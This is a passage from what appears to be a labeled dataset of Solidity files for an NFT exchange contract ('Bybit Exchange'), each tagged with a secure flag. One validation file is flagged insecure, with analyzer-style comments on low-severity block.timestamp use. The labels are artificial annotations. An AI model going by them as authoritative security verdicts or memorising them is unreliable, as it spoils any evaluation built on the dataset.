executions;\n}\n\nstruct AtomicExecution {\n uint256 makerId;\n uint256 sellerAmount;\n uint256 makerFeeRecipientId;\n uint256 makerFeeAmount;\n uint256 protocolFeeAmount;\n StateUpdate stateUpdate;\n}\n\nstruct StateUpdate {\n address trader;\n bytes32 hash;\n uint256 index;\n uint256 value;\n uint256 maxAmount;\n}\n\nstruct Fees {\n FeeRate protocolFee;\n}\n\nstruct FeeRate {\n address recipient;\n uint16 rate;\n}\n\nstruct Cancel {\n bytes32 hash;\n uint256 index;\n uint256 amount;\n}", "file_name": "solidity_code_915.sol", "secure": 1, "size_bytes": 3122 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IExecutor {\n error ETHTransferFailed();\n\n error PoolTransferFailed();\n\n error PoolWithdrawFromFailed();\n\n error PoolDepositFailed();\n\n error OrderFulfilled();\n\n event Execution(\n bytes32 orderHash,\n uint256 tranferId,\n address collection,\n uint256 amount,\n uint256 listingIndex,\n uint256 price,\n FeeRate makerFee,\n Fees fees,\n OrderType orderType\n );\n\n event Execution721Packed(\n bytes32 orderHash,\n uint256 tokenIdListingIndexTrader,\n uint256 collectionPriceSide\n );\n\n event Execution721MakerFeePacked(\n bytes32 orderHash,\n uint256 tokenIdListingIndexTrader,\n uint256 collectionPriceSide,\n uint256 makerFeeRecipientRate\n );\n}", "file_name": "solidity_code_916.sol", "secure": 1, "size_bytes": 878 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary MerkleProofUpgradeable {\n function verify(\n bytes32[] memory proof,\n bytes32 root,\n bytes32 leaf\n ) internal pure returns (bool) {\n return processProof(proof, leaf) == root;\n }\n\n function verifyCalldata(\n bytes32[] calldata proof,\n bytes32 root,\n bytes32 leaf\n ) internal pure returns (bool) {\n return processProofCalldata(proof, leaf) == root;\n }\n\n function processProof(\n bytes32[] memory proof,\n bytes32 leaf\n ) internal pure returns (bytes32) {\n bytes32 computedHash = leaf;\n\n for (uint256 i = 0; i < proof.length; i++) {\n computedHash = _hashPair(computedHash, proof[i]);\n }\n\n return computedHash;\n }\n\n function processProofCalldata(\n bytes32[] calldata proof,\n bytes32 leaf\n ) internal pure returns (bytes32) {\n bytes32 computedHash = leaf;\n\n for (uint256 i = 0; i < proof.length; i++) {\n computedHash = _hashPair(computedHash, proof[i]);\n }\n\n return computedHash;\n }\n\n function multiProofVerify(\n bytes32[] memory proof,\n bool[] memory proofFlags,\n bytes32 root,\n bytes32[] memory leaves\n ) internal pure returns (bool) {\n return processMultiProof(proof, proofFlags, leaves) == root;\n }\n\n function multiProofVerifyCalldata(\n bytes32[] calldata proof,\n bool[] calldata proofFlags,\n bytes32 root,\n bytes32[] memory leaves\n ) internal pure returns (bool) {\n return processMultiProofCalldata(proof, proofFlags, leaves) == root;\n }\n\n function processMultiProof(\n bytes32[] memory proof,\n bool[] memory proofFlags,\n bytes32[] memory leaves\n ) internal pure returns (bytes32 merkleRoot) {\n uint256 leavesLen = leaves.length;\n\n uint256 proofLen = proof.length;\n\n uint256 totalHashes = proofFlags.length;\n\n require(\n leavesLen + proofLen - 1 == totalHashes,\n \"MerkleProof: invalid multiproof\"\n );\n\n bytes32[] memory hashes = new bytes32[](totalHashes);\n\n uint256 leafPos = 0;\n\n uint256 hashPos = 0;\n\n uint256 proofPos = 0;\n\n for (uint256 i = 0; i < totalHashes; i++) {\n bytes32 a = leafPos < leavesLen\n ? leaves[leafPos++]\n : hashes[hashPos++];\n\n bytes32 b = proofFlags[i]\n ? (leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++])\n : proof[proofPos++];\n\n hashes[i] = _hashPair(a, b);\n }\n\n if (totalHashes > 0) {\n require(proofPos == proofLen, \"MerkleProof: invalid multiproof\");\n\n unchecked {\n return hashes[totalHashes - 1];\n }\n } else if (leavesLen > 0) {\n return leaves[0];\n } else {\n return proof[0];\n }\n }\n\n function processMultiProofCalldata(\n bytes32[] calldata proof,\n bool[] calldata proofFlags,\n bytes32[] memory leaves\n ) internal pure returns (bytes32 merkleRoot) {\n uint256 leavesLen = leaves.length;\n\n uint256 proofLen = proof.length;\n\n uint256 totalHashes = proofFlags.length;\n\n require(\n leavesLen + proofLen - 1 == totalHashes,\n \"MerkleProof: invalid multiproof\"\n );\n\n bytes32[] memory hashes = new bytes32[](totalHashes);\n\n uint256 leafPos = 0;\n\n uint256 hashPos = 0;\n\n uint256 proofPos = 0;\n\n for (uint256 i = 0; i < totalHashes; i++) {\n bytes32 a = leafPos < leavesLen\n ? leaves[leafPos++]\n : hashes[hashPos++];\n\n bytes32 b = proofFlags[i]\n ? (leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++])\n : proof[proofPos++];\n\n hashes[i] = _hashPair(a, b);\n }\n\n if (totalHashes > 0) {\n require(proofPos == proofLen, \"MerkleProof: invalid multiproof\");\n\n unchecked {\n return hashes[totalHashes - 1];\n }\n } else if (leavesLen > 0) {\n return leaves[0];\n } else {\n return proof[0];\n }\n }\n\n function _hashPair(bytes32 a, bytes32 b) private pure returns (bytes32) {\n return a < b ? _efficientHash(a, b) : _efficientHash(b, a);\n }\n\n function _efficientHash(\n bytes32 a,\n bytes32 b\n ) private pure returns (bytes32 value) {\n assembly {\n mstore(0x00, a)\n\n mstore(0x20, b)\n\n value := keccak256(0x00, 0x40)\n }\n }\n}", "file_name": "solidity_code_917.sol", "secure": 1, "size_bytes": 4883 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IValidation {\n function protocolFee() external view returns (address, uint16);\n\n function amountTaken(\n address user,\n bytes32 hash,\n uint256 listingIndex\n ) external view returns (uint256);\n}", "file_name": "solidity_code_918.sol", "secure": 1, "size_bytes": 302 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ISignatures {\n error Unauthorized();\n\n error InvalidDomain();\n\n function nonces(address user) external view returns (uint256);\n\n function verifyDomain() external view;\n\n function information()\n external\n view\n returns (string memory version, bytes32 domainSeparator);\n\n function hashListing(\n Listing memory listing\n ) external pure returns (bytes32);\n\n function hashOrder(\n Order memory order,\n OrderType orderType\n ) external view returns (bytes32);\n\n function hashTakeAskSingle(\n TakeAskSingle memory inputs,\n address _caller\n ) external pure returns (bytes32);\n\n function hashTakeBidSingle(\n TakeBidSingle memory inputs,\n address _caller\n ) external pure returns (bytes32);\n}\n\nuint256 constant Bytes1_shift = 0xf8;\n\nuint256 constant Bytes4_shift = 0xe0;\n\nuint256 constant Bytes20_shift = 0x60;\n\nuint256 constant One_word = 0x20;\n\nuint256 constant Memory_pointer = 0x40;\n\nuint256 constant AssetType_ERC721 = 0;\n\nuint256 constant AssetType_ERC1155 = 1;\n\nuint256 constant OrderType_ASK = 0;\n\nuint256 constant OrderType_BID = 1;\n\nuint256 constant Pool_withdrawFrom_selector = 0x9555a94200000000000000000000000000000000000000000000000000000000;\n\nuint256 constant Pool_withdrawFrom_from_offset = 0x04;\n\nuint256 constant Pool_withdrawFrom_to_offset = 0x24;\n\nuint256 constant Pool_withdrawFrom_amount_offset = 0x44;\n\nuint256 constant Pool_withdrawFrom_size = 0x64;\n\nuint256 constant Pool_deposit_to_selector = 0xf340fa0100000000000000000000000000000000000000000000000000000000;\n\nuint256 constant Pool_deposit_user_offset = 0x04;\n\nuint256 constant Pool_deposit_size = 0x24;\n\nuint256 constant ERC20_transferFrom_selector = 0x23b872dd00000000000000000000000000000000000000000000000000000000;\n\nuint256 constant ERC721_safeTransferFrom_selector = 0x42842e0e00000000000000000000000000000000000000000000000000000000;\n\nuint256 constant ERC1155_safeTransferFrom_selector = 0xf242432a00000000000000000000000000000000000000000000000000000000;\n\nuint256 constant ERC20_transferFrom_size = 0x64;\n\nuint256 constant ERC721_safeTransferFrom_size = 0x64;\n\nuint256 constant ERC1155_safeTransferFrom_size = 0xc4;\n\nuint256 constant Signatures_size = 0x41;\n\nuint256 constant Signatures_s_offset = 0x20;\n\nuint256 constant Signatures_v_offset = 0x40;\n\nuint256 constant ERC20_transferFrom_from_offset = 0x4;\n\nuint256 constant ERC20_transferFrom_to_offset = 0x24;\n\nuint256 constant ERC20_transferFrom_amount_offset = 0x44;\n\nuint256 constant ERC721_safeTransferFrom_from_offset = 0x4;\n\nuint256 constant ERC721_safeTransferFrom_to_offset = 0x24;\n\nuint256 constant ERC721_safeTransferFrom_id_offset = 0x44;\n\nuint256 constant ERC1155_safeTransferFrom_from_offset = 0x4;\n\nuint256 constant ERC1155_safeTransferFrom_to_offset = 0x24;\n\nuint256 constant ERC1155_safeTransferFrom_id_offset = 0x44;\n\nuint256 constant ERC1155_safeTransferFrom_amount_offset = 0x64;\n\nuint256 constant ERC1155_safeTransferFrom_data_pointer_offset = 0x84;\n\nuint256 constant ERC1155_safeTransferFrom_data_offset = 0xa4;\n\nuint256 constant Delegate_transfer_selector = 0xa1ccb98e00000000000000000000000000000000000000000000000000000000;\n\nuint256 constant Delegate_transfer_calldata_offset = 0x1c;\n\nuint256 constant Order_size = 0x100;\n\nuint256 constant Order_trader_offset = 0x00;\n\nuint256 constant Order_collection_offset = 0x20;\n\nuint256 constant Order_listingsRoot_offset = 0x40;\n\nuint256 constant Order_numberOfListings_offset = 0x60;\n\nuint256 constant Order_expirationTime_offset = 0x80;\n\nuint256 constant Order_assetType_offset = 0xa0;\n\nuint256 constant Order_makerFee_offset = 0xc0;\n\nuint256 constant Order_salt_offset = 0xe0;\n\nuint256 constant Exchange_size = 0x80;\n\nuint256 constant Exchange_askIndex_offset = 0x00;\n\nuint256 constant Exchange_proof_offset = 0x20;\n\nuint256 constant Exchange_maker_offset = 0x40;\n\nuint256 constant Exchange_taker_offset = 0x60;\n\nuint256 constant BidExchange_size = 0x80;\n\nuint256 constant BidExchange_askIndex_offset = 0x00;\n\nuint256 constant BidExchange_proof_offset = 0x20;\n\nuint256 constant BidExchange_maker_offset = 0x40;\n\nuint256 constant BidExchange_taker_offset = 0x60;\n\nuint256 constant Listing_size = 0x80;\n\nuint256 constant Listing_index_offset = 0x00;\n\nuint256 constant Listing_tokenId_offset = 0x20;\n\nuint256 constant Listing_amount_offset = 0x40;\n\nuint256 constant Listing_price_offset = 0x60;\n\nuint256 constant Taker_size = 0x40;\n\nuint256 constant Taker_tokenId_offset = 0x00;\n\nuint256 constant Taker_amount_offset = 0x20;\n\nuint256 constant StateUpdate_size = 0x80;\n\nuint256 constant StateUpdate_salt_offset = 0x20;\n\nuint256 constant StateUpdate_leaf_offset = 0x40;\n\nuint256 constant StateUpdate_value_offset = 0x60;\n\nuint256 constant Transfer_size = 0xa0;\n\nuint256 constant Transfer_trader_offset = 0x00;\n\nuint256 constant Transfer_id_offset = 0x20;\n\nuint256 constant Transfer_amount_offset = 0x40;\n\nuint256 constant Transfer_collection_offset = 0x60;\n\nuint256 constant Transfer_assetType_offset = 0x80;\n\nuint256 constant ExecutionBatch_selector_offset = 0x20;\n\nuint256 constant ExecutionBatch_calldata_offset = 0x40;\n\nuint256 constant ExecutionBatch_base_size = 0xa0;\n\nuint256 constant ExecutionBatch_taker_offset = 0x00;\n\nuint256 constant ExecutionBatch_orderType_offset = 0x20;\n\nuint256 constant ExecutionBatch_transfers_pointer_offset = 0x40;\n\nuint256 constant ExecutionBatch_length_offset = 0x60;\n\nuint256 constant ExecutionBatch_transfers_offset = 0x80;", "file_name": "solidity_code_919.sol", "secure": 1, "size_bytes": 5734 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Decimals.sol\" as ERC20Decimals;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\nabstract contract ERC20Detailed is ERC20Decimals {\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_\n ) ERC20(name_, symbol_) ERC20Decimals(decimals_) {}\n}", "file_name": "solidity_code_92.sol", "secure": 1, "size_bytes": 393 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ISignatures.sol\" as ISignatures;\nimport \"@openzeppelin/contracts/proxy/utils/Initializable.sol\" as Initializable;\n\nabstract contract Signatures is ISignatures, Initializable {\n string private constant _NAME = \"Bybit Exchange\";\n\n string private constant _VERSION = \"1.0\";\n\n bytes32 private _FEE_RATE_TYPEHASH;\n\n bytes32 private _ORDER_TYPEHASH;\n\n bytes32 private _DOMAIN_SEPARATOR;\n\n mapping(address => uint256) public nonces;\n\n function __Signatures_init(address proxy) internal onlyInitializing {\n (\n _FEE_RATE_TYPEHASH,\n _ORDER_TYPEHASH,\n _DOMAIN_SEPARATOR\n ) = _createTypehashes(proxy);\n }\n\n function verifyDomain() public view {\n bytes32 eip712DomainTypehash = keccak256(\n bytes.concat(\n \"EIP712Domain(\",\n \"string name,\",\n \"string version,\",\n \"uint256 chainId,\",\n \"address verifyingContract\",\n \")\"\n )\n );\n\n bytes32 domainSeparator = _hashDomain(\n eip712DomainTypehash,\n keccak256(bytes(_NAME)),\n keccak256(bytes(_VERSION)),\n address(this)\n );\n\n if (_DOMAIN_SEPARATOR != domainSeparator) {\n revert InvalidDomain();\n }\n }\n\n function information()\n external\n view\n returns (string memory version, bytes32 domainSeparator)\n {\n version = _VERSION;\n\n domainSeparator = _DOMAIN_SEPARATOR;\n }\n\n function hashTakeAskSingle(\n TakeAskSingle memory inputs,\n address _caller\n ) external pure returns (bytes32) {\n return _hashCalldata(_caller);\n }\n\n function hashTakeBidSingle(\n TakeBidSingle memory inputs,\n address _caller\n ) external pure returns (bytes32) {\n return _hashCalldata(_caller);\n }\n\n function hashOrder(\n Order memory order,\n OrderType orderType\n ) public view returns (bytes32) {\n bytes32 result;\n\n bytes32 orderHash = _ORDER_TYPEHASH;\n\n bytes32 hashFee = _hashFeeRate(order.makerFee);\n\n uint256 nounce0 = nonces[order.trader];\n\n assembly {\n let memPtr := mload(0x40)\n\n mstore(memPtr, orderHash)\n\n mstore(add(memPtr, 0x20), mload(add(order, Order_trader_offset)))\n\n mstore(\n add(memPtr, 0x40),\n mload(add(order, Order_collection_offset))\n )\n\n mstore(\n add(memPtr, 0x60),\n mload(add(order, Order_listingsRoot_offset))\n )\n\n mstore(\n add(memPtr, 0x80),\n mload(add(order, Order_numberOfListings_offset))\n )\n\n mstore(\n add(memPtr, 0xA0),\n mload(add(order, Order_expirationTime_offset))\n )\n\n mstore(add(memPtr, 0xC0), mload(add(order, Order_assetType_offset)))\n\n mstore(add(memPtr, 0xE0), hashFee)\n\n mstore(add(memPtr, 0x100), mload(add(order, Order_salt_offset)))\n\n mstore(add(memPtr, 0x120), orderType)\n\n mstore(add(memPtr, 0x140), nounce0)\n\n result := keccak256(memPtr, 0x160)\n }\n\n return result;\n }\n\n function hashListing(Listing memory listing) public pure returns (bytes32) {\n bytes32 result;\n\n assembly {\n let memPtr := mload(0x40)\n\n mstore(memPtr, mload(add(listing, Listing_index_offset)))\n\n mstore(\n add(memPtr, 0x20),\n mload(add(listing, Listing_tokenId_offset))\n )\n\n mstore(\n add(memPtr, 0x40),\n mload(add(listing, Listing_amount_offset))\n )\n\n mstore(add(memPtr, 0x60), mload(add(listing, Listing_price_offset)))\n\n result := keccak256(memPtr, Listing_size)\n }\n\n return result;\n }\n\n function _hashCalldata(\n address _caller\n ) internal pure returns (bytes32 hash) {\n assembly {\n let nextPointer := mload(0x40)\n\n let size := add(sub(nextPointer, 0x80), 0x20)\n\n mstore(nextPointer, _caller)\n\n hash := keccak256(0x80, size)\n }\n }\n\n function _hashFeeRate(\n FeeRate memory feeRate\n ) private view returns (bytes32) {\n bytes32 typeHash = _FEE_RATE_TYPEHASH;\n\n bytes32 result;\n\n assembly {\n let memPtr := mload(0x40)\n\n mstore(memPtr, typeHash)\n\n mstore(add(memPtr, 0x20), mload(add(feeRate, 0x0)))\n\n mstore(add(memPtr, 0x40), mload(add(feeRate, 0x20)))\n\n result := keccak256(memPtr, 0x60)\n }\n\n return result;\n }\n\n function _hashToSign(bytes32 hash) private view returns (bytes32) {\n bytes32 domain = _DOMAIN_SEPARATOR;\n\n bytes32 result;\n\n bytes2 prefix = bytes2(0x1901);\n\n assembly {\n let memPtr := mload(0x40)\n\n mstore(memPtr, prefix)\n\n mstore(add(memPtr, 0x02), domain)\n\n mstore(add(memPtr, 0x22), hash)\n\n result := keccak256(memPtr, 0x42)\n }\n\n return result;\n }\n\n function _createTypehashes(\n address proxy\n )\n private\n view\n returns (\n bytes32 feeRateTypehash,\n bytes32 orderTypehash,\n bytes32 domainSeparator\n )\n {\n bytes32 eip712DomainTypehash = keccak256(\n bytes.concat(\n \"EIP712Domain(\",\n \"string name,\",\n \"string version,\",\n \"uint256 chainId,\",\n \"address verifyingContract\",\n \")\"\n )\n );\n\n bytes\n memory feeRateTypestring = \"FeeRate(address recipient,uint16 rate)\";\n\n orderTypehash = keccak256(\n bytes.concat(\n \"Order(\",\n \"address trader,\",\n \"address collection,\",\n \"bytes32 listingsRoot,\",\n \"uint256 numberOfListings,\",\n \"uint256 expirationTime,\",\n \"uint8 assetType,\",\n \"FeeRate makerFee,\",\n \"uint256 salt,\",\n \"uint8 orderType,\",\n \"uint256 nonce\",\n \")\",\n feeRateTypestring\n )\n );\n\n feeRateTypehash = keccak256(feeRateTypestring);\n\n domainSeparator = _hashDomain(\n eip712DomainTypehash,\n keccak256(bytes(_NAME)),\n keccak256(bytes(_VERSION)),\n proxy\n );\n }\n\n function _hashDomain(\n bytes32 eip712DomainTypehash,\n bytes32 nameHash,\n bytes32 versionHash,\n address proxy\n ) private view returns (bytes32) {\n return\n keccak256(\n abi.encode(\n eip712DomainTypehash,\n nameHash,\n versionHash,\n block.chainid,\n proxy\n )\n );\n }\n\n function _verifyAuthorization(\n address signer,\n bytes32 hash,\n bytes memory signatures,\n uint256 index\n ) internal view returns (bool authorized) {\n bytes32 hashToSign = _hashToSign(hash);\n\n bytes32 r;\n\n bytes32 s;\n\n uint8 v;\n\n assembly {\n let signatureOffset := add(\n add(signatures, One_word),\n mul(Signatures_size, index)\n )\n\n r := mload(signatureOffset)\n\n s := mload(add(signatureOffset, Signatures_s_offset))\n\n v := shr(\n Bytes1_shift,\n mload(add(signatureOffset, Signatures_v_offset))\n )\n }\n\n authorized = _verify(signer, hashToSign, v, r, s);\n }\n\n function _verify(\n address signer,\n bytes32 digest,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) private pure returns (bool valid) {\n address recoveredSigner = ecrecover(digest, v, r, s);\n\n if (recoveredSigner != address(0) && recoveredSigner == signer) {\n valid = true;\n }\n }\n\n uint256[47] private __gap;\n}", "file_name": "solidity_code_920.sol", "secure": 1, "size_bytes": 8623 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IValidation.sol\" as IValidation;\nimport \"./Signatures.sol\" as Signatures;\nimport \"./MerkleProofUpgradeable.sol\" as MerkleProofUpgradeable;\n\nabstract contract Validation is IValidation, Signatures {\n uint256 internal constant _BASIS_POINTS = 10_000;\n\n uint256 internal constant _MAX_PROTOCOL_FEE_RATE = 250;\n\n FeeRate public protocolFee;\n\n mapping(address => mapping(bytes32 => mapping(uint256 => uint256)))\n public amountTaken;\n\n function __Validation_init(address proxy) internal onlyInitializing {\n Signatures.__Signatures_init(proxy);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: b4e745d): Validation._checkLiveness(Order) uses timestamp for comparisons Dangerous comparisons (order.expirationTime > block.timestamp)\n\t// Recommendation for b4e745d: Avoid relying on 'block.timestamp'.\n function _checkLiveness(Order memory order) private view returns (bool) {\n\t\t// timestamp | ID: b4e745d\n return (order.expirationTime > block.timestamp);\n }\n\n function _checkFee(\n FeeRate memory makerFee,\n Fees memory fees\n ) private pure returns (bool) {\n return makerFee.rate + fees.protocolFee.rate <= _BASIS_POINTS;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: b086230): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for b086230: Avoid relying on 'block.timestamp'.\n function _validateOrder(\n Order memory order,\n OrderType orderType,\n bytes memory signatures,\n Fees memory fees,\n uint256 signatureIndex\n ) internal view returns (bool) {\n bytes32 orderHash = hashOrder(order, orderType);\n\n order.salt = uint256(orderHash);\n\n\t\t// timestamp | ID: b086230\n return\n _verifyAuthorization(\n order.trader,\n orderHash,\n signatures,\n signatureIndex\n ) &&\n _checkLiveness(order) &&\n _checkFee(order.makerFee, fees);\n }\n\n function _validateListing(\n Order memory order,\n OrderType orderType,\n Exchange memory exchange\n ) private pure returns (bool validListing) {\n Listing memory listing = exchange.listing;\n\n validListing = MerkleProofUpgradeable.verify(\n exchange.proof,\n order.listingsRoot,\n hashListing(listing)\n );\n\n Taker memory taker = exchange.taker;\n\n if (orderType == OrderType.ASK) {\n if (order.assetType == AssetType.ERC721) {\n validListing =\n validListing &&\n taker.amount == 1 &&\n listing.amount == 1;\n }\n\n validListing = validListing && listing.tokenId == taker.tokenId;\n } else {\n if (order.assetType == AssetType.ERC721) {\n validListing = validListing && taker.amount == 1;\n } else {\n validListing = validListing && listing.tokenId == taker.tokenId;\n }\n }\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 65d95b7): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 65d95b7: Avoid relying on 'block.timestamp'.\n function _validateOrderAndListing(\n Order memory order,\n OrderType orderType,\n Exchange memory exchange,\n bytes memory signature,\n Fees memory fees\n ) internal view returns (bool) {\n Listing memory listing = exchange.listing;\n\n uint256 listingIndex = listing.index;\n\n\t\t// timestamp | ID: 65d95b7\n return\n _validateOrder(order, orderType, signature, fees, 0) &&\n _validateListing(order, orderType, exchange) &&\n amountTaken[order.trader][bytes32(order.salt)][listingIndex] +\n exchange.taker.amount <=\n listing.amount;\n }\n\n uint256[49] private __gap;\n}", "file_name": "solidity_code_921.sol", "secure": 0, "size_bytes": 4164 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IExecutor.sol\" as IExecutor;\nimport \"./Validation.sol\" as Validation;\n\nabstract contract Executor is IExecutor, Validation {\n address public _POOL;\n\n function __Executor_init(\n address pool,\n address proxy\n ) internal onlyInitializing {\n Validation.__Validation_init(proxy);\n\n _POOL = pool;\n }\n\n receive() external payable {\n if (msg.sender != _POOL) {\n revert Unauthorized();\n }\n }\n\n function _computeFees(\n uint256 pricePerToken,\n uint256 takerAmount,\n FeeRate memory makerFee,\n Fees memory fees\n )\n internal\n pure\n returns (\n uint256 totalPrice,\n uint256 protocolFeeAmount,\n uint256 makerFeeAmount\n )\n {\n totalPrice = pricePerToken * takerAmount;\n\n makerFeeAmount = (totalPrice * makerFee.rate) / _BASIS_POINTS;\n\n protocolFeeAmount =\n (totalPrice * fees.protocolFee.rate) /\n _BASIS_POINTS;\n }\n\n function _transferNft(\n Order memory order,\n OrderType orderType,\n uint256 tokenId,\n uint256 amount,\n address taker\n ) internal returns (bool successfull) {\n assembly {\n let assetType := mload(add(order, Order_assetType_offset))\n\n let calldataPointer := mload(0x40)\n\n switch assetType\n case 0 {\n mstore(calldataPointer, ERC721_safeTransferFrom_selector)\n\n switch orderType\n case 0 {\n mstore(\n add(\n calldataPointer,\n ERC721_safeTransferFrom_from_offset\n ),\n mload(add(order, Order_trader_offset))\n )\n\n mstore(\n add(calldataPointer, ERC721_safeTransferFrom_to_offset),\n taker\n )\n }\n case 1 {\n mstore(\n add(\n calldataPointer,\n ERC721_safeTransferFrom_from_offset\n ),\n taker\n )\n\n mstore(\n add(calldataPointer, ERC721_safeTransferFrom_to_offset),\n mload(add(order, Order_trader_offset))\n )\n }\n default {\n revert(0, 0)\n }\n\n mstore(\n add(calldataPointer, ERC721_safeTransferFrom_id_offset),\n tokenId\n )\n\n let collection := mload(add(order, Order_collection_offset))\n\n successfull := call(\n gas(),\n collection,\n 0,\n calldataPointer,\n ERC721_safeTransferFrom_size,\n 0,\n 0\n )\n }\n case 1 {\n mstore(calldataPointer, ERC1155_safeTransferFrom_selector)\n\n switch orderType\n case 0 {\n mstore(\n add(\n calldataPointer,\n ERC1155_safeTransferFrom_from_offset\n ),\n mload(add(order, Order_trader_offset))\n )\n\n mstore(\n add(\n calldataPointer,\n ERC1155_safeTransferFrom_to_offset\n ),\n taker\n )\n }\n case 1 {\n mstore(\n add(\n calldataPointer,\n ERC1155_safeTransferFrom_from_offset\n ),\n taker\n )\n\n mstore(\n add(\n calldataPointer,\n ERC1155_safeTransferFrom_to_offset\n ),\n mload(add(order, Order_trader_offset))\n )\n }\n default {\n revert(0, 0)\n }\n\n mstore(\n add(calldataPointer, ERC1155_safeTransferFrom_id_offset),\n tokenId\n )\n\n mstore(\n add(\n calldataPointer,\n ERC1155_safeTransferFrom_amount_offset\n ),\n amount\n )\n\n mstore(\n add(\n calldataPointer,\n ERC1155_safeTransferFrom_data_pointer_offset\n ),\n 0xa0\n )\n\n mstore(\n add(calldataPointer, ERC1155_safeTransferFrom_data_offset),\n 0\n )\n\n let collection := mload(add(order, Order_collection_offset))\n\n successfull := call(\n gas(),\n collection,\n 0,\n calldataPointer,\n ERC1155_safeTransferFrom_size,\n 0,\n 0\n )\n }\n default {\n revert(0, 0)\n }\n }\n }\n\n function _transferETH(address to, uint256 amount) internal {\n if (amount > 0) {\n bool success;\n\n assembly {\n success := call(gas(), to, amount, 0, 0, 0, 0)\n }\n\n if (!success) {\n revert ETHTransferFailed();\n }\n }\n }\n\n function _withdrawFromPool(address from, uint256 amount) internal {\n bool success;\n\n address pool = _POOL;\n\n assembly {\n let x := mload(Memory_pointer)\n\n mstore(x, Pool_withdrawFrom_selector)\n\n mstore(add(x, Pool_withdrawFrom_from_offset), from)\n\n mstore(add(x, Pool_withdrawFrom_to_offset), address())\n\n mstore(add(x, Pool_withdrawFrom_amount_offset), amount)\n\n success := call(gas(), pool, 0, x, Pool_withdrawFrom_size, 0, 0)\n }\n\n if (!success) {\n revert PoolWithdrawFromFailed();\n }\n }\n\n function _emitExecutionEvent(\n Order memory order,\n uint256 tokenId,\n uint256 amount,\n uint256 listingIndex,\n uint256 price,\n Fees memory fees,\n OrderType orderType\n ) internal {\n bytes32 orderHash = bytes32(order.salt);\n\n if (order.assetType == AssetType.ERC721) {\n if (order.makerFee.rate == 0) {\n emit Execution721Packed(\n orderHash,\n packTokenIdListingIndexTrader(\n tokenId,\n listingIndex,\n order.trader\n ),\n packTypePriceCollection(orderType, price, order.collection)\n );\n\n return;\n } else {\n emit Execution721MakerFeePacked(\n orderHash,\n packTokenIdListingIndexTrader(\n tokenId,\n listingIndex,\n order.trader\n ),\n packTypePriceCollection(orderType, price, order.collection),\n packFee(order.makerFee)\n );\n\n return;\n }\n }\n\n emit Execution({\n orderHash: orderHash,\n tranferId: tokenId,\n collection: order.collection,\n amount: amount,\n listingIndex: listingIndex,\n price: price,\n makerFee: order.makerFee,\n fees: fees,\n orderType: orderType\n });\n }\n\n function packTokenIdListingIndexTrader(\n uint256 tokenId,\n uint256 listingIndex,\n address trader\n ) private pure returns (uint256) {\n return\n (tokenId << (21 * 8)) |\n (listingIndex << (20 * 8)) |\n uint160(trader);\n }\n\n function packTypePriceCollection(\n OrderType orderType,\n uint256 price,\n address collection\n ) private pure returns (uint256) {\n return\n (uint256(orderType) << (31 * 8)) |\n (price << (20 * 8)) |\n uint160(collection);\n }\n\n function packFee(FeeRate memory fee) private pure returns (uint256) {\n return (uint256(fee.rate) << (20 * 8)) | uint160(fee.recipient);\n }\n\n uint256[50] private __gap;\n}", "file_name": "solidity_code_922.sol", "secure": 1, "size_bytes": 9256 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IBybitExchange {\n error InsufficientFunds();\n\n error TokenTransferFailed();\n\n error InvalidOrder();\n\n error ProtocolFeeTooHigh();\n\n error WrongPrice();\n\n error WrongAmount();\n\n error WrongCollection();\n\n error WrongTrader();\n\n error NotAuthorized();\n\n event SetBreakFlag(bool indexed flag);\n\n event NewProtocolFee(address indexed recipient, uint16 indexed rate);\n\n event NewGovernor(address indexed governor);\n\n event CancelTrade(\n address indexed user,\n bytes32 hash,\n uint256 index,\n uint256 amount\n );\n\n event NonceIncremented(address indexed user, uint256 newNonce);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n function setProtocolFee(address recipient, uint16 rate) external;\n\n function setGovernor(address _governor) external;\n\n function cancelTrades(Cancel[] memory cancels) external;\n\n function incrementNonce() external;\n\n function transferOwnership(address newOwner) external;\n\n function takeAskSingle(TakeAskSingle memory inputs) external payable;\n\n function takeAskSingle_nrRSq(TakeAskSingle memory inputs) external payable;\n\n function takeBidSingle(TakeBidSingle memory inputs) external;\n\n function matchOrders(\n TakeAskSingle memory sell,\n TakeBidSingle memory buy,\n uint256 amount,\n OrderType orderType\n ) external;\n\n function takeAskSinglePool(\n TakeAskSingle memory inputs,\n uint256 amountToWithdraw\n ) external payable;\n}", "file_name": "solidity_code_923.sol", "secure": 1, "size_bytes": 1698 }
